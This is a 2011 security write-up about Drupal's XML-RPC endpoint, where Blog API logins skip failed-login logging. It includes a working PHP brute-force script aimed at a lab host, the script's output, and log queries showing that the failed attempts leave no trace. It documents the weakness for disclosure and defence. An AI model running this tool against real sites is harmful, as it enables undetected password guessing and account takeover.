Using Drupal XML-RPC to Bypass Authentication Failure Detection

25 August 2011
Drupal provides robust, and largely ignored, XML remote procedure call (RPC) functionality. This functionality is available through the xmlrpc.php file that is available at the Drupal root in any installation. Any module can provide a hook into the XMLRPC interface by providing a moduleName_xmlrpc() function. However, some XMLRPC functionality allows malicious attackers to launch a brute force attack against a site without causing any login failure messages to appear in the site logs.

Drupal provides robust, and largely ignored, XML remote procedure call (RPC) functionality. This functionality is available through the xmlrpc.php file that is available at the Drupal root in any installation. Any module can provide a hook into the XMLRPC interface by providing a moduleName_xmlrpc() function, defining the interface calls, input parameters, their types, and the function to handle the call. XMLRPC allows for a lightweight interface to query Drupal data and get responses.

The Problem

There are some subtle problems with XMLRPC in Drupal, however. One issue is the fact that XMLRPC calls don't necessarily implement all of the normal function calls that are instantiated through a normal Drupal web page request. For instance, when a user authenticates using the user login form (usually found a the ?q=user URL) Drupal handles the form post, tries to validate the provided credentials, and if the login attempt fails the user_login_final_validate() function is triggered, which makes an entry into the logs using the watchdog() function. This process is relatively seamless and allows for the logging of successful as well as failed login attempts.

In contrast, many XMLRPC API calls actually forgo parts of the validation sequence and instead simply utilize the user_authenticate() function. This is good in one sense, as such use restricts API access to valid user accounts. Despite this advantage, however, the user_authenticate function fails to report failed login attempts to the logs. This could allow malicious attackers to launch a brute force attack against a site without causing any login failure messages to appear in the site logs. This could allow an attacker to bypass security restrictions on login failures enforced by modules such as the Login Security module. Furthermore it obfuscates the brute force attempts from casual notice. Unless a clever systems administrator was watching the Apache logs for calls to the xmlrpc.php URL they would never know an attack was taking place. Furthermore, the xmlrpc.php file uses post forms to process requests, and by default Apache doesn't log any post data, so there is no way to distinguish a brute force attack from normal traffic.

Demonstration Using Blog API Module

The following is a simple authentication brute force tool written in PHP as a proof of concept. The tool exploits the weaknesses described above as manifested in the Blog API module. The Blog API module is one of the Drupal core modules, meaning it ships with every Drupal installation. This module is disabled by default, however.

The essential flaw in the Blog API module is that the blogapi_validate_user() function utilizes only the user_authenticate() core API to validate users and doesn't provide any additional logging or notification. The code is as follows:

/**
 * Ensure that the given user has permission to edit a blog.
 */
function blogapi_validate_user($username, $password) {
  global $user;

  $user = user_authenticate(array('name' => $username, 'pass' => $password));

  if ($user->uid) {
    if (user_access('administer content with blog api', $user)) {
      return $user;
    }
    else {
      return t('You do not have permission to edit this blog.');
    }
  }
  else {
    return t('Wrong username or password.');
  }
}

The Tool

This tool is provided as a proof of concept only. It is not intended to be a working mechanism of exploitation.

<?php

/**
 * XML-RPC brute force proof of concept tool
 * @author Justin Klein Keane <justin@madirish.net>
 */
 
$usernames = array('test', 'user1', 'user', 'administrator');
$passwords = array('dog', 'cat', 'password');

foreach ($usernames as $username) {
	foreach ($passwords as $password) {
		$args = array('fakeAppKey', $username, $password);
		$ctxtSysConnect = assemble_request("blogger.getUserInfo", $args);
		$file = file_get_contents("http://172.16.46.129/drupal-6.16/xmlrpc.php", false, $ctxtSysConnect);
		if (! strpos($file, 'Wrong username or password.')) {
			print "Access granted with $username / $password\n"; 
			print_r($file);
			print "\n";
		}
	}
}


function assemble_request($method, $args = array()){
        $request = xmlrpc_encode_request($method, $args);
        $retval = stream_context_create(array('http' => array(
                'method' => "POST",
                'header' => "Content-Type: text/xml",
                'content' => $request
        )));
        return $retval;
}
?>

Running the tool against a target where both "user/password" and "administrator/password" are valid credentials we observe the following output:

$ php xmlrpc_brute.php 
Access granted with user / password
<?xml version="1.0"?>
<methodResponse>
  <fault>
  <value>
    <struct>
    <member>
      <name>faultCode</name>
      <value><int>1</int></value>
    </member>
    <member>
      <name>faultString</name>
      <value><string>You do not have permission to edit this blog.</string></value>
    </member>
    </struct>
  </value>
  </fault>
</methodResponse>

Access granted with administrator / password
<?xml version="1.0"?>

<methodResponse>
  <params>
  <param>
    <value><struct>
  <member><name>userid</name><value><string>1</string></value></member>
  <member><name>lastname</name><value><string></string></value></member>
  <member><name>firstname</name><value><string>administrator</string></value></member>
  <member><name>nickname</name><value><string>administrator</string></value></member>
  <member><name>email</name><value><string>justin@madirish.net</string></value></member>
  <member><name>url</name><value><string>http://172.16.46.129/drupal-6.16/blog/1</string></value></member>
</struct></value>
  </param>
  </params>
</methodResponse>

You'll notice that the "user" account was discovered despite the account having permissions to access any blogs.

Looking at the Logs

After a run against a target with the tool we see the following entries in the watchdog table:

mysql> select type, message, variables, location from watchdog;
+------+---------------------------+-----------------------------------------+---------------------------------------------+
| type | message                   | variables                               | location                                    |
+------+---------------------------+-----------------------------------------+---------------------------------------------+
| user | Session opened for %name. | a:1:{s:5:"%name";s:4:"user";}           | http://172.16.46.129/drupal-6.16/xmlrpc.php |
| user | Session opened for %name. | a:1:{s:5:"%name";s:13:"administrator";} | http://172.16.46.129/drupal-6.16/xmlrpc.php |
+------+---------------------------+-----------------------------------------+---------------------------------------------+
2 rows in set (0.00 sec)

As you can see, no evidence of the failed logins is present, which makes it extremely difficult for this type of attack to be noticed.